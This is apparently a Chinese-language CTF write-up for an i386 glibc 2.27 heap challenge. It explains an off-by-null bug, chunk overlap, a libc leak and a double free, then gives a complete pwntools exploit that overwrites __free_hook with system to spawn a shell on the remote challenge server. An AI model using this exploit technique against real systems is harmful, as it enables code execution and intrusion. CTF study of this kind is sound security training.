2.27-i386 的堆很少见
4小时才完成,前边想得有点乱了。
堆块的结构:
总管理块0x31:10个块指针
头块0x21:ptr_comment,ptr_name,XXX,XXX两个没用的东西
name块:大小自定不能太大,这个块由scanf %ns 读入,多加\0 这个很隐蔽,一时没发现浪费不少时间。
comment块:0x8c 这个块由read读入后边不带\0,将来用于泄露libc
还有个改名的菜单,转了好久又整逆向,原来是个蜜罐。
找到两点就好办了:
- 由于每个块都有管理块,这个很碍事,先建5个name0x21的块,然后释放,以后建块都用这些。让name块连在一起。
- 由于name块大小不足以进入unsort所以要多建7个,用off_by_null模板建1fc,2c,1fc*8
- 把3及以后的都删掉,填满tcache
- 释放0进入unsort,释放1重建写满修改2的头为0x200,再释放2与前边合并
- 重建除2外所有先清空tcache再用掉unsort开头的0x200
- 再建0x2c得到重叠块
- 对1个块加comment然后释放带出unsort的bk得到libc
- 这时0和9是重叠块进行double free形成loop
- 建__free_hook,/bin/sh,system再释放3得到shell
from pwn import *
local = 0
if local == 1: #local
p = process('./pwn')
elif local == 0: #remote
p = remote('node4.buuoj.cn', 26201)
libc_elf = ELF('/home/shi/pwn/libc6-i386_2.27-3u1/libc-2.27.so')
one = [0x3cbea,0x3cbec,0x3cbf0,0x3cbf7,0x6729f,0x672a0,0x13573e,0x13573f]
libc_start_main_ret = 0x1eee5
elf = ELF('./pwn')
context(arch = 'i386', log_level='debug')
serial = b'7O\x14L\x02\x16C!'
def add(size, name):
p.sendlineafter(b'>>> ', b'1')
p.sendlineafter(b"Name length: ", str(size).encode())
p.sendafter(b"Name: ", name)
p.sendlineafter(b"Price: ", b'100')
def rename(idx, name):
p.sendlineafter(b'>>> ', b'4')
p.sendlineafter(b"Give me an index: ", str(idx).encode())
p.send(name)
p.sendlineafter(b"Wanna get more power?(y/n)", b'y')
p.sendlineafter(b"Give me serial: ", serial)
p.sendafter(b"Hey Pwner\n", b'AAAA')
def addcomment(idx, comment, sc=0x31):
p.sendlineafter(b'>>> ', b'2')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendafter(b": ", comment)
p.sendlineafter(b"And its score: ", str(sc).encode())
def free(idx):
p.sendlineafter(b'>>> ', b'3')
p.sendlineafter(b": ", str(idx).encode())
for i in range(5):
add(0x10, b'BBBB\n') #0
for i in range(5):
free(i)
add(0x1fc, b'A\n') #0
add(0x2c, b'B\n') #1
for i in range(8):
add(0x1fc, b'A\n') #2-9
for i in range(3,10):
free(i)
free(0)
free(1)
add(0x2c, b'A'*0x28 + p32(0x230)) #0
free(2)
#clear tcache x200 use 1st x200
for i in range(8):
add(0x1fc, b'A\n') #1-8
add(0x2c, b'B\n') #9=0
addcomment(8, b'cccc')
free(8)
p.recvuntil(b'Comment cccc')
libc_base = u32(p.recv(4)) - 0x50 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
add(0x1fc, b'A\n') #8
addcomment(8, b'ccc')
free(3) #不够用了,释放
free(0)
free(9)
add(0x2c, p32(libc_elf.sym['__free_hook']) +b'\n') #0
add(0x2c, b'/bin/sh\x00\n') #3
add(0x2c, p32(libc_elf.sym['system'])+ b'\n') #4
free(3)
p.sendline(b'cat /flag')
p.interactive()